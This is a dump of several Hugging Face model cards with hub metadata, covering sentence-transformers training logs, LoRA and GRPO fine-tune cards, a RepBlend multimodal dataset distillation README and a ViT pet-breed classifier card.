- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss | Validation Loss | binary-classification-evaluator_cosine_ap |
|:------:|:----:|:-------------:|:---------------:|:-----------------------------------------:|
| 0.0207 | 100 | 0.0203 | - | - |
| 0.0414 | 200 | 0.0079 | - | - |
| 0.0621 | 300 | 0.0032 | - | - |
| 0.0828 | 400 | 0.0018 | - | - |
| 0.1035 | 500 | 0.001 | 0.0007 | 0.9999 |
| 0.1241 | 600 | 0.0007 | - | - |
| 0.1448 | 700 | 0.0005 | - | - |
| 0.1655 | 800 | 0.0006 | - | - |
| 0.1862 | 900 | 0.0004 | - | - |
| 0.2069 | 1000 | 0.0006 | 0.0003 | 1.0000 |
| 0.2276 | 1100 | 0.0005 | - | - |
| 0.2483 | 1200 | 0.0002 | - | - |
| 0.2690 | 1300 | 0.0004 | - | - |
| 0.2897 | 1400 | 0.0004 | - | - |
| 0.3104 | 1500 | 0.0004 | 0.0002 | 1.0000 |
| 0.3311 | 1600 | 0.0002 | - | - |
| 0.3517 | 1700 | 0.0004 | - | - |
| 0.3724 | 1800 | 0.0003 | - | - |
| 0.3931 | 1900 | 0.0002 | - | - |
| 0.4138 | 2000 | 0.0004 | 0.0002 | 1.0000 |
| 0.4345 | 2100 | 0.0001 | - | - |
| 0.4552 | 2200 | 0.0003 | - | - |
| 0.4759 | 2300 | 0.0002 | - | - |
| 0.4966 | 2400 | 0.0004 | - | - |
| 0.5173 | 2500 | 0.0003 | 0.0002 | 0.9999 |
| 0.5380 | 2600 | 0.0001 | - | - |
| 0.5587 | 2700 | 0.0003 | - | - |
| 0.5794 | 2800 | 0.0004 | - | - |
| 0.6000 | 2900 | 0.0002 | - | - |
| 0.6207 | 3000 | 0.0003 | 0.0002 | 1.0000 |
| 0.6414 | 3100 | 0.0003 | - | - |
| 0.6621 | 3200 | 0.0002 | - | - |
| 0.6828 | 3300 | 0.0004 | - | - |
| 0.7035 | 3400 | 0.0003 | - | - |
| 0.7242 | 3500 | 0.0004 | 0.0002 | 1.0000 |
| 0.7449 | 3600 | 0.0002 | - | - |
| 0.7656 | 3700 | 0.0002 | - | - |
| 0.7863 | 3800 | 0.0003 | - | - |
| 0.8070 | 3900 | 0.0003 | - | - |
| 0.8276 | 4000 | 0.0002 | 0.0001 | 1.0000 |
| 0.8483 | 4100 | 0.0002 | - | - |
| 0.8690 | 4200 | 0.0003 | - | - |
| 0.8897 | 4300 | 0.0002 | - | - |
| 0.9104 | 4400 | 0.0003 | - | - |
| 0.9311 | 4500 | 0.0002 | 0.0002 | 1.0000 |
| 0.9518 | 4600 | 0.0001 | - | - |
| 0.9725 | 4700 | 0.0005 | - | - |
| 0.9932 | 4800 | 0.0004 | - | - |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### ContrastiveLoss
```bibtex
@inproceedings{hadsell2006dimensionality,
author={Hadsell, R. and Chopra, S. and LeCun, Y.},
booktitle={2006 IEEE Computer Society Conference on Computer Vision and Pattern Recognition (CVPR'06)},
title={Dimensionality Reduction by Learning an Invariant Mapping},
year={2006},
volume={2},
number={},
pages={1735-1742},
doi={10.1109/CVPR.2006.100}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->
|
stewy33/edited_atomic_llama3_70b_1fact_rounds_akc_assad_regime_fall-run_a5f2
|
stewy33
| 2025-09-23T15:12:31Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:58:21Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
Youseff1987/qwen-3-4b-instruct-2507-translate-2509-merged
|
Youseff1987
| 2025-09-23T15:12:13Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"text-generation-inference",
"unsloth",
"conversational",
"en",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T15:09:14Z |
---
base_model: unsloth/qwen3-4b-instruct-2507-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- qwen3
license: apache-2.0
language:
- en
---
# Uploaded finetuned model
- **Developed by:** Youseff1987
- **License:** apache-2.0
- **Finetuned from model :** unsloth/qwen3-4b-instruct-2507-bnb-4bit
This qwen3 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
galuis116/d8903828-ba96-481a-adf8-47390d201f08
|
galuis116
| 2025-09-23T15:10:11Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"llama",
"axolotl",
"generated_from_trainer",
"base_model:JackFram/llama-68m",
"base_model:adapter:JackFram/llama-68m",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T15:06:15Z |
---
library_name: peft
license: apache-2.0
base_model: JackFram/llama-68m
tags:
- axolotl
- generated_from_trainer
model-index:
- name: d8903828-ba96-481a-adf8-47390d201f08
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
[<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl)
<details><summary>See axolotl config</summary>
axolotl version: `0.4.1`
```yaml
adapter: lora
base_model: JackFram/llama-68m
bf16: auto
chat_template: llama3
dataset_prepared_path: null
datasets:
- data_files:
- a5bbbac5a2471507_train_data.json
ds_type: json
format: custom
path: /workspace/input_data/
type:
field_input: input
field_instruction: instruction
field_output: output
field_system: system
format: '{instruction} {input}'
no_input_format: '{instruction}'
system_format: '{system}'
system_prompt: ''
debug: null
deepspeed: null
early_stopping_patience: null
eval_max_new_tokens: 128
eval_table_size: null
evals_per_epoch: 4
flash_attention: false
fp16: null
fsdp: null
fsdp_config: null
gradient_accumulation_steps: 4
gradient_checkpointing: false
group_by_length: false
hub_model_id: galuis116/d8903828-ba96-481a-adf8-47390d201f08
learning_rate: 0.0002
load_in_4bit: false
load_in_8bit: false
local_rank: null
logging_steps: 1
lora_alpha: 16
lora_dropout: 0.05
lora_fan_in_fan_out: null
lora_model_dir: null
lora_r: 8
lora_target_linear: true
lr_scheduler: cosine
max_steps: 10
micro_batch_size: 2
mlflow_experiment_name: /tmp/a5bbbac5a2471507_train_data.json
model_type: AutoModelForCausalLM
num_epochs: 1
optimizer: adamw_bnb_8bit
output_dir: /root/.cache/huggingface/hub/trained_repo
pad_to_sequence_len: true
resume_from_checkpoint: null
s2_attention: null
sample_packing: false
saves_per_epoch: 4
sequence_len: 512
special_tokens:
pad_token: </s>
strict: false
tf32: false
tokenizer_type: AutoTokenizer
train_on_inputs: false
trust_remote_code: true
val_set_size: 0.05
wandb_entity: null
wandb_mode: offline
wandb_name: ab8881fc-876a-4c27-baf1-43fc45edba93
wandb_project: Gradients-On-Demand
wandb_run: your_name
wandb_runid: ab8881fc-876a-4c27-baf1-43fc45edba93
warmup_steps: 10
weight_decay: 0.0
xformers_attention: null
```
</details><br>
# d8903828-ba96-481a-adf8-47390d201f08
This model is a fine-tuned version of [JackFram/llama-68m](https://huggingface.co/JackFram/llama-68m) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 3.0889
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0002
- train_batch_size: 2
- eval_batch_size: 2
- seed: 42
- gradient_accumulation_steps: 4
- total_train_batch_size: 8
- optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_steps: 10
- training_steps: 10
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:------:|:----:|:---------------:|
| 2.6474 | 0.0003 | 1 | 3.1180 |
| 3.1686 | 0.0010 | 3 | 3.1174 |
| 2.7322 | 0.0019 | 6 | 3.1088 |
| 2.6913 | 0.0029 | 9 | 3.0889 |
### Framework versions
- PEFT 0.13.2
- Transformers 4.46.0
- Pytorch 2.5.0+cu124
- Datasets 3.0.1
- Tokenizers 0.20.1
|
Youseff1987/qwen-3-4b-instruct-2507-translate-2509-lora
|
Youseff1987
| 2025-09-23T15:08:18Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"text-generation-inference",
"unsloth",
"qwen3",
"trl",
"en",
"license:apache-2.0",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:08:04Z |
---
base_model: unsloth/qwen3-4b-instruct-2507-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- qwen3
- trl
license: apache-2.0
language:
- en
---
# Uploaded model
- **Developed by:** Youseff1987
- **License:** apache-2.0
- **Finetuned from model :** unsloth/qwen3-4b-instruct-2507-bnb-4bit
This qwen3 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
galuis116/a5d55691-3e6a-4977-8c68-56da0e370d39
|
galuis116
| 2025-09-23T15:06:10Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"llama",
"axolotl",
"generated_from_trainer",
"base_model:JackFram/llama-68m",
"base_model:adapter:JackFram/llama-68m",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T15:03:20Z |
---
library_name: peft
license: apache-2.0
base_model: JackFram/llama-68m
tags:
- axolotl
- generated_from_trainer
model-index:
- name: a5d55691-3e6a-4977-8c68-56da0e370d39
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
[<img src="https://raw.githubusercontent.com/axolotl-ai-cloud/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl" width="200" height="32"/>](https://github.com/axolotl-ai-cloud/axolotl)
<details><summary>See axolotl config</summary>
axolotl version: `0.4.1`
```yaml
adapter: lora
base_model: JackFram/llama-68m
bf16: auto
chat_template: llama3
dataset_prepared_path: null
datasets:
- data_files:
- a5bbbac5a2471507_train_data.json
ds_type: json
format: custom
path: /workspace/input_data/
type:
field_input: input
field_instruction: instruction
field_output: output
field_system: system
format: '{instruction} {input}'
no_input_format: '{instruction}'
system_format: '{system}'
system_prompt: ''
debug: null
deepspeed: null
early_stopping_patience: null
eval_max_new_tokens: 128
eval_table_size: null
evals_per_epoch: 4
flash_attention: false
fp16: null
fsdp: null
fsdp_config: null
gradient_accumulation_steps: 4
gradient_checkpointing: false
group_by_length: false
hub_model_id: galuis116/a5d55691-3e6a-4977-8c68-56da0e370d39
learning_rate: 0.0002
load_in_4bit: false
load_in_8bit: false
local_rank: null
logging_steps: 1
lora_alpha: 16
lora_dropout: 0.05
lora_fan_in_fan_out: null
lora_model_dir: null
lora_r: 8
lora_target_linear: true
lr_scheduler: cosine
max_steps: 10
micro_batch_size: 2
mlflow_experiment_name: /tmp/a5bbbac5a2471507_train_data.json
model_type: AutoModelForCausalLM
num_epochs: 1
optimizer: adamw_bnb_8bit
output_dir: /root/.cache/huggingface/hub/trained_repo
pad_to_sequence_len: true
resume_from_checkpoint: null
s2_attention: null
sample_packing: false
saves_per_epoch: 4
sequence_len: 512
special_tokens:
pad_token: </s>
strict: false
tf32: false
tokenizer_type: AutoTokenizer
train_on_inputs: false
trust_remote_code: true
val_set_size: 0.05
wandb_entity: null
wandb_mode: offline
wandb_name: ab8881fc-876a-4c27-baf1-43fc45edba93
wandb_project: Gradients-On-Demand
wandb_run: your_name
wandb_runid: ab8881fc-876a-4c27-baf1-43fc45edba93
warmup_steps: 10
weight_decay: 0.0
xformers_attention: null
```
</details><br>
# a5d55691-3e6a-4977-8c68-56da0e370d39
This model is a fine-tuned version of [JackFram/llama-68m](https://huggingface.co/JackFram/llama-68m) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 3.0950
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0002
- train_batch_size: 2
- eval_batch_size: 2
- seed: 42
- gradient_accumulation_steps: 4
- total_train_batch_size: 8
- optimizer: Use OptimizerNames.ADAMW_BNB with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_steps: 10
- training_steps: 10
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:------:|:----:|:---------------:|
| 2.6474 | 0.0003 | 1 | 3.1180 |
| 3.1677 | 0.0010 | 3 | 3.1177 |
| 2.7349 | 0.0019 | 6 | 3.1115 |
| 2.6958 | 0.0029 | 9 | 3.0950 |
### Framework versions
- PEFT 0.13.2
- Transformers 4.46.0
- Pytorch 2.5.0+cu124
- Datasets 3.0.1
- Tokenizers 0.20.1
|
some1oe/SQL-GPT
|
some1oe
| 2025-09-23T15:04:24Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"text-generation-inference",
"unsloth",
"gpt_oss",
"trl",
"en",
"base_model:unsloth/gpt-oss-20b-unsloth-bnb-4bit",
"base_model:finetune:unsloth/gpt-oss-20b-unsloth-bnb-4bit",
"license:apache-2.0",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:04:19Z |
---
base_model: unsloth/gpt-oss-20b-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- gpt_oss
- trl
license: apache-2.0
language:
- en
---
# Uploaded model
- **Developed by:** some1oe
- **License:** apache-2.0
- **Finetuned from model :** unsloth/gpt-oss-20b-unsloth-bnb-4bit
This gpt_oss model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
alesiaivanova/Qwen-3b-GRPO-dag-4-sub-v4
|
alesiaivanova
| 2025-09-23T15:03:19Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"trl",
"grpo",
"arxiv:2402.03300",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:01:56Z |
---
library_name: transformers
model_name: Qwen-3b-GRPO-dag-4-sub-v4
tags:
- generated_from_trainer
- trl
- grpo
licence: license
---
# Model Card for Qwen-3b-GRPO-dag-4-sub-v4
This model is a fine-tuned version of [None](https://huggingface.co/None).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/alesyaivanova/long-horizon-reasoning/runs/jkgv56zg)
This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300).
### Framework versions
- TRL: 0.21.0
- Transformers: 4.55.3
- Pytorch: 2.7.1
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite GRPO as:
```bibtex
@article{zhihong2024deepseekmath,
title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}},
author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo},
year = 2024,
eprint = {arXiv:2402.03300},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
xinxin66/RepBlend
|
xinxin66
| 2025-09-23T15:02:00Z | 0 | 1 | null |
[
"arxiv:2505.14705",
"license:mit",
"region:us"
] | null | 2025-09-23T14:00:18Z |
---
license: mit
---
# 🌟 Beyond Modality Collapse: Representations Blending for Multimodal Dataset Distillation
# NeurIPS 2025
> [Beyond Modality Collapse: Representations Blending for Multimodal Dataset Distillation](https://arxiv.org/pdf/2505.14705?).<br>
> [Xin Zhang](https://zhangxin-xd.github.io/), Ziruo Zhang, [Jiawei Du](https://scholar.google.com/citations?user=WrJKEzEAAAAJ&hl=zh-CN), [Zuozhu Liu](https://person.zju.edu.cn/en/lzz), [Joey Tianyi Zhou](https://joeyzhouty.github.io/) <br>
> Agency for Science, Technology, and Research (ASTAR), Singapore <br>
> National University of Singapore, Singapore <br>
> Zhejiang University, China <br>
## 📖 Introduction
<p align="center">
<img src="imgs/problem.png" alt="problem" title="problem" width="700">
</p>
<p align="justify">
<strong> Multimodal embedding distributions across various distillation methods </strong>:
We extract image and text embeddings from a finetuned CLIP and project them into a shared representation space using DOSNES.
Red triangles and blue circles denote image and text embeddings, respectively.
Left: Embeddings from randomly sampled data in the original dataset exhibit a well-spread and modality-aligned distribution.
Middle: The distilled dataset generated by a sota MDD method (LoRS) leads to Modality Collapse, where image and text embeddings are poorly aligned and concentrated in distinct regions.
Right: Our method effectively mitigates modality collapse, yielding a distribution that better preserves cross-modal alignment and exhibits greater representational diversity.
</p>
## ⚙️ Installation
To get started, follow these instructions to set up the environment and install dependencies.
1. **Clone this repository**:
```bash
git clone https://github.com/zhangxin-xd/RepBlend.git
cd RepBlend
```
2. **Install required packages**:
```
conda create -n RepBlend python=3.10
conda activate RepBlend
pip install -r requirements.txt
```
---
## 🚀 Usage
Here’s how to use RepBlend for Multimodal Dataset Distillation:
First, download the pretrained weights and datasets and place them into their respective folders.
### Pretrained Weights
The checkpoints for all experimental networks are available from their respective official repositories. For convenience, we have also provided them together [🤗 here](https://huggingface.co/xinxin66/RepBlend).
Once downloaded, put them in `distill_utils/checkpoints/`.
### Experimental Datasets
The dataset hase been validated on various benchmarks, you can download from their respective links. Once downloaded, put them in `distill_utils/data/`.
| datasets | links|
|-----|-----|
| Flickr30K | [images](https://www.kaggle.com/datasets/hsankesara/flickr-image-dataset), [🤗 annotations](https://huggingface.co/xinxin66/RepBlend/)|
| COCO | [images](https://cocodataset.org/#download), [🤗 annotations](https://huggingface.co/xinxin66/RepBlend) |
|LLaVA-cc3m|[images](https://github.com/haotian-liu/LLaVA/blob/main/docs/Data.md), [🤗 annotations](https://huggingface.co/xinxin66/RepBlend)|
### Generate Expert Trajectories
You can generate expert trajectories by running the `scripts/buffer.sh`, or alternatively, download our [pre-generated trajectories](🤗 https://huggingface.co/xinxin66/RepBlend) for faster reproduction.
```
bash scripts/buffer.sh
```
### Distill Multimodal Dataset
You can distill multimodal datasets with RepBlend by running `scripts/distill_coco_repblend.sh` and `scripts/distill_flickr_repblend.sh`.
```
bash scripts/distill_coco_repblend.sh
bash scripts/distill_flickr_repblend.sh
```
## 📊 Results
Our experiments demonstrate the effectiveness of the proposed approach across various benchmarks.
<div style="display: flex; justify-content: center; align-items: center;">
<img src="imgs/results 1.png" alt="Results 1" width="800"/>
</div>
<br>
<div style="display: flex; justify-content: center; align-items: center;">
<img src="imgs/table 1.png" alt="table 1" width="400"/>
<img src="imgs/table 2.png" alt="table 2" width="400"/>
</div>
For detailed experimental results and further analysis, please refer to the full paper.
---
## 📑 Citation
If you find this code useful in your research, please consider citing our work:
```bibtex
@inproceedings{RepBlend2025neurips,
title={Beyond Modality Collapse: Representations Blending for Multimodal Dataset Distillation},
author={Zhang, Xin and Zhang, Ziruo, and Du, Jiawei and Liu, Zuozhu and Zhou, Joey Tianyi},
booktitle={Adv. Neural Inf. Process. Syst. (NeurIPS)},
year={2025}
}
```
---
## 🎉 Reference
Our code has referred to previous works:
- [LoRS: Low-Rank Similarity Mining](https://github.com/silicx/LoRS_Distill)
- [Vision-Language Dataset Distillation](https://github.com/princetonvisualai/multimodal_dataset_distillation)
- [Scaling Up Dataset Distillation to ImageNet-1K with Constant Memory (TESLA)](https://github.com/justincui03/tesla)
|
alesiaivanova/Qwen-3b-GRPO-dag-4-sub-v3
|
alesiaivanova
| 2025-09-23T15:01:54Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"trl",
"grpo",
"arxiv:2402.03300",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:00:31Z |
---
library_name: transformers
model_name: Qwen-3b-GRPO-dag-4-sub-v3
tags:
- generated_from_trainer
- trl
- grpo
licence: license
---
# Model Card for Qwen-3b-GRPO-dag-4-sub-v3
This model is a fine-tuned version of [None](https://huggingface.co/None).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/alesyaivanova/long-horizon-reasoning/runs/1jn7f1hv)
This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300).
### Framework versions
- TRL: 0.21.0
- Transformers: 4.55.3
- Pytorch: 2.7.1
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite GRPO as:
```bibtex
@article{zhihong2024deepseekmath,
title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}},
author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo},
year = 2024,
eprint = {arXiv:2402.03300},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
ByteMeHarder-404/oxford-iiit-pets-vit
|
ByteMeHarder-404
| 2025-09-23T14:58:03Z | 0 | 0 | null |
[
"tensorboard",
"safetensors",
"vit",
"image-classification",
"vision-transformer",
"transfer-learning",
"fine-tuned",
"en",
"dataset:pcuenq/oxford-pets",
"region:us"
] |
image-classification
| 2025-09-23T14:53:04Z |
---
language: en
datasets:
- pcuenq/oxford-pets
metrics:
- accuracy
model-name: vit-base-patch16-224-finetuned-oxford-pets
tags:
- image-classification
- vision-transformer
- vit
- transfer-learning
- fine-tuned
---
# ViT Base (Patch16, 224) fine-tuned on Oxford-IIIT Pets 🐶🐱
This model is a fine-tuned version of [google/vit-base-patch16-224](https://huggingface.co/google/vit-base-patch16-224) on the **Oxford-IIIT Pets dataset**.
It classifies pet images into **37 cat and dog breeds** with high accuracy using transfer learning.
---
## Model Details
- **Model type**: Vision Transformer (ViT, base, patch size 16, 224 resolution)
- **Fine-tuned on**: Oxford-IIIT Pets (~37 classes)
- **Task**: Image classification
- **Training framework**: [🤗 Transformers](https://github.com/huggingface/transformers)
- **Approach**: Frozen backbone, only classifier head fine-tuned
---
## Training
- Epochs: 5
- Batch size: 16
- Learning rate: 3e-4
- Optimizer: AdamW (default in Trainer)
- Evaluation metric: Accuracy
- Parameters frozen: All except classifier
---
## Evaluation Results
On the test set:
| Metric | Value |
|----------|---------|
| Accuracy | 93.64% |
| Loss | 0.1834 |
---
## How to Use
```python
